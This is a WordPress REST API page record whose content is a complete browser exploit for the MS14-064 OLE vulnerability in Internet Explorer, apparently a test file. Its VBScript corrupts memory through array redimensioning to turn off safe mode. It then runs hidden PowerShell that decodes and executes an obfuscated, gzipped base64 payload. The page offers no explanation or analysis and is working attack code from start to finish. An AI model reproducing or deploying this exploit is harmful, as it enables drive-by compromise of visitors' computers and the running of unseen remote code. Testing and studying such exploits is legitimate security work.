{"id":29,"date":"2026-04-07T16:13:16","date_gmt":"2026-04-07T16:13:16","guid":{"rendered":"https:\/\/qa-040726-3.sldev7.com\/?page_id=29"},"modified":"2026-04-07T16:13:16","modified_gmt":"2026-04-07T16:13:16","slug":"post-test_ms14_064_ole_not_xp-html","status":"publish","type":"page","link":"https:\/\/qa-040726-3.sldev7.com\/?page_id=29","title":{"rendered":"Post .\/TEST_ms14_064_ole_not_xp.html"},"content":{"rendered":"<p><!doctype html><br \/>\n<html><br \/>\n<meta http-equiv=\"X-UA-Compatible\" content=\"IE=EmulateIE8\" ><br \/>\n<meta http-equiv=\"Content-Type\" content=\"text\/html; charset=UTF-8\" \/><br \/>\n<body><br \/>\n<script language=\"VBScript\">\nfunction runaaaa()\nOn Error Resume Next\nset shell=createobject(\"Shell.Application\")\nshell.ShellExecute \"powershell.exe\", \"-nop -w hidden -c if([IntPtr]::Size -eq 4){$b='powershell.exe'}else{$b=$env:windir+'\\syswow64\\WindowsPowerShell\\v1.0\\powershell.exe'};$s=New-Object System.Diagnostics.ProcessStartInfo;$s.FileName=$b;$s.Arguments='-nop -w hidden -c $s=New-Object IO.MemoryStream(,[Convert]::FromBase64String(''H4sIAGEaAVUCA7VW+2\/aSBD+OZX6P1gVkm3VoTxCkkaqdEB4FWx8NYQARafFXpulaxv24YT0+r\/fGOyGXpoqPekQEvuY2fnmm29n8WXkChJHCsLnwUz5+vrViY0YChWtsEIy7IeJoRSI3Cab2oqOg0min5yATSHuyunGvvT7jffKB0Wb1zeb6zhEJFpcXTUlYzgSh3mxg0WdcxwuKcFc05W\/lckKM3w6XK6xK5SvSuGvYofGS0Qzs10TuSusnNYjL90bxC5KERadDSVCUz9\/VvX5aXlRbG0lolxTnR0XOCx6lKq68k1PA452G6ypJnFZzGNfFCckqlaK44gjH1twWoJNLFaxx1UdkoEvw0KySDlOKz3nYKWpMLRZ7NY9j2EOTsVelMRfsFaIJKWG8oc2z0B8kpEgIYZ9gVm8cTBLiIt5sYsij+JP2F9oFr7Lc3+pk3bsBFa2YLoBFXoerRl7kuLDAar+FG9eXB0+\/y4wUPLt9avXr\/xcGtG6Itak24+P5QGjk\/l+jAG1Zsec7I0\/KCVDMSEwEjHbwbQwYhLrC2WeFmW+WCgF3hp1rIrx\/Anl3ByM\/Zn9sLrx7Qmsz29i4i3AL6taYX1b7j+kG8\/L7xr7JMLXuwiFxM0Vpv2sCtineJ9wMTezAJqmZhvYu8YUB0ikhBrK\/KlbKyTiu29DEuphVnehkhxQQZH1H8EcaqSpvcjEIXB1mKtQDh90jXPrTMu7PHo6ByO1SRHnhmJLuFiuoTgYUewZSj3iJNuqSxHvh+ojXFNSQVzERX7cQv9OZBawGUdcMOlC\/SD5kbPBLkE05cJQusTDjZ1Dgjyw+lMmmohSEgVwUgKVgJWUAUekqmCAMVOAXnSw6IUbikOw2l\/yNkUBXOnsRuyFhALsqU9A5lo\/CDvlIyfiCCIU2aGxMJQbwgQ0iz23uZ7+K4yjbnEA1GQ4K4uWX515YydSrRf8pZym+swo2hPCBJDRZnHYQByfnzmCAVXamwofzLzmqCR33bNxqeabbnhvXrf9Tt3yOz07qX7ahjy5mTlj3rb5UFrd86qszIb87Xn\/46yFOmP+dtBnYadusgkNmuy8Y9V6tc3d8PaWNsNqYA3dfn8iu+agbO\/G1dG41arx6XQVBIPW9NJxGvez7YBtJ931Q+vdrG0Pp53Aj2e+n9Q2velZ0O01K7vBnaj7o7JjX1drvYBcmrTW99+xQMRe8mfCrKEcJZNafXJBp0m1v5xebGfkoXXh3\/S38qx9M9t2LKtWLplB2STn1+1GP3J4KdqGdxfovS0fVmZwweLJsr+6RUnZm1jRW+9BXi4b8vJNSj6wX5CRdenh953wiNjnWqiJGF8hCoRDU8wl345ZO+ttdkxSD007PH9fMIswhacCHpNcNHVKYzdtt49tEPr9oQsvQP1jGFYrPx3pyndD\/bEJ50tXVzPAmkoSRFIc4CgQK6N0Xy2VoIOW7s9KkPDL82vGm522P8pIO\/AjS3kAug+gp\/IsRL31\/0xedilW8OO9iLzHtV\/svojQknGU\/JO9Hxd+i+LfZ2GCiABTBy44xYfn5hdkZKI5fq57a1CEn33S\/05DKU4teMT\/AahEz5K4CQAA''));IEX (New-Object IO.StreamReader(New-Object IO.Compression.GzipStream($s,[IO.Compression.CompressionMode]::Decompress))).ReadToEnd();';$s.UseShellExecute=$false;$p=[System.Diagnostics.Process]::Start($s);\", \"\", \"open\", 0\nend function\n<\/script><br \/>\n<script language=\"VBScript\"><\/p>\n<p>dim   aa()\ndim   ab()\ndim   a0\ndim   a1\ndim   a2\ndim   a3\ndim   win9x\ndim   intVersion\ndim   rnda\ndim   funclass\ndim   myarray<\/p>\n<p>Begin()<\/p>\n<p>function Begin()\n  On Error Resume Next\n  info=Navigator.UserAgent<\/p>\n<p>  if(instr(info,\"Win64\")>0)   then\n     exit   function\n  end if<\/p>\n<p>  if (instr(info,\"MSIE\")>0)   then\n             intVersion = CInt(Mid(info, InStr(info, \"MSIE\") + 5, 2))\n  else\n     exit   function<\/p>\n<p>  end if<\/p>\n<p>  win9x=0<\/p>\n<p>  BeginInit()\n  If Create()=True Then\n     myarray=        chrw(01)&chrw(2176)&chrw(01)&chrw(00)&chrw(00)&chrw(00)&chrw(00)&chrw(00)\n     myarray=myarray&chrw(00)&chrw(32767)&chrw(00)&chrw(0)<\/p>\n<p>     if(intVersion<4) then\n         document.write(\"<br \/> IE\")\n         document.write(intVersion)\n         runshellcode()\n     else\n          setnotsafemode()\n     end if\n  end if\nend function<\/p>\n<p>function BeginInit()\n   Randomize()\n   redim aa(5)\n   redim ab(5)\n   a0=13+17*rnd(6)\n   a3=7+3*rnd(5)\nend function<\/p>\n<p>function Create()\n  On Error Resume Next\n  dim i\n  Create=False\n  For i = 0 To 400\n    If Over()=True Then\n    '   document.write(i)\n       Create=True\n       Exit For\n    End If\n  Next\nend function<\/p>\n<p>sub testaa()\nend sub<\/p>\n<p>function mydata()\n    On Error Resume Next\n     i=testaa\n     i=null\n     redim  Preserve aa(a2)<\/p>\n<p>     ab(0)=0\n     aa(a1)=i\n     ab(0)=6.36598737437801E-314<\/p>\n<p>     aa(a1+2)=myarray\n     ab(2)=1.74088534731324E-310\n     mydata=aa(a1)\n     redim  Preserve aa(a0)\nend function<\/p>\n<p>function setnotsafemode()\n    On Error Resume Next\n    i=mydata()\n    i=readmemo(i+8)\n    i=readmemo(i+16)\n    j=readmemo(i+&h134)\n    for k=0 to &h60 step 4\n        j=readmemo(i+&h120+k)\n        if(j=14) then\n              j=0\n              redim  Preserve aa(a2)\n     aa(a1+2)(i+&h11c+k)=ab(4)\n              redim  Preserve aa(a0)<\/p>\n<p>     j=0\n              j=readmemo(i+&h120+k)<\/p>\n<p>               Exit for\n           end if<\/p>\n<p>    next\n    ab(2)=1.69759663316747E-313\n    runaaaa()\nend function<\/p>\n<p>function Over()\n    On Error Resume Next\n    dim type1,type2,type3\n    Over=False\n    a0=a0+a3\n    a1=a0+2\n    a2=a0+&h8000000<\/p>\n<p>    redim  Preserve aa(a0)\n    redim   ab(a0)<\/p>\n<p>    redim  Preserve aa(a2)<\/p>\n<p>    type1=1\n    ab(0)=1.123456789012345678901234567890\n    aa(a0)=10<\/p>\n<p>    If(IsObject(aa(a1-1)) = False) Then\n       if(intVersion<4) then\n           mem=cint(a0+1)*16\n           j=vartype(aa(a1-1))\n           if((j=mem+4) or (j*8=mem+8)) then\n              if(vartype(aa(a1-1))<>0)  Then\n                 If(IsObject(aa(a1)) = False ) Then\n                   type1=VarType(aa(a1))\n                 end if\n              end if\n           else\n             redim  Preserve aa(a0)\n             exit  function<\/p>\n<p>           end if\n        else\n           if(vartype(aa(a1-1))<>0)  Then\n              If(IsObject(aa(a1)) = False ) Then\n                  type1=VarType(aa(a1))\n              end if\n            end if\n        end if\n    end if<\/p>\n<p>    If(type1=&h2f66) Then\n          Over=True\n    End If\n    If(type1=&hB9AD) Then\n          Over=True\n          win9x=1\n    End If<\/p>\n<p>    redim  Preserve aa(a0)<\/p>\n<p>end function<\/p>\n<p>function ReadMemo(add)\n    On Error Resume Next\n    redim  Preserve aa(a2)<\/p>\n<p>    ab(0)=0\n    aa(a1)=add+4\n    ab(0)=1.69759663316747E-313\n    ReadMemo=lenb(aa(a1))<\/p>\n<p>    ab(0)=0<\/p>\n<p>    redim  Preserve aa(a0)\nend function<\/p>\n<p><\/script><br \/>\n<\/body><br \/>\n<\/html><\/p>\n","protected":false},"excerpt":{"rendered":"","protected":false},"author":0,"featured_media":0,"parent":0,"menu_order":0,"comment_status":"closed","ping_status":"closed","template":"","meta":{"footnotes":""},"class_list":["post-29","page","type-page","status-publish","hentry"],"_links":{"self":[{"href":"https:\/\/qa-040726-3.sldev7.com\/index.php?rest_route=\/wp\/v2\/pages\/29","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/qa-040726-3.sldev7.com\/index.php?rest_route=\/wp\/v2\/pages"}],"about":[{"href":"https:\/\/qa-040726-3.sldev7.com\/index.php?rest_route=\/wp\/v2\/types\/page"}],"replies":[{"embeddable":true,"href":"https:\/\/qa-040726-3.sldev7.com\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=29"}],"version-history":[{"count":0,"href":"https:\/\/qa-040726-3.sldev7.com\/index.php?rest_route=\/wp\/v2\/pages\/29\/revisions"}],"wp:attachment":[{"href":"https:\/\/qa-040726-3.sldev7.com\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=29"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}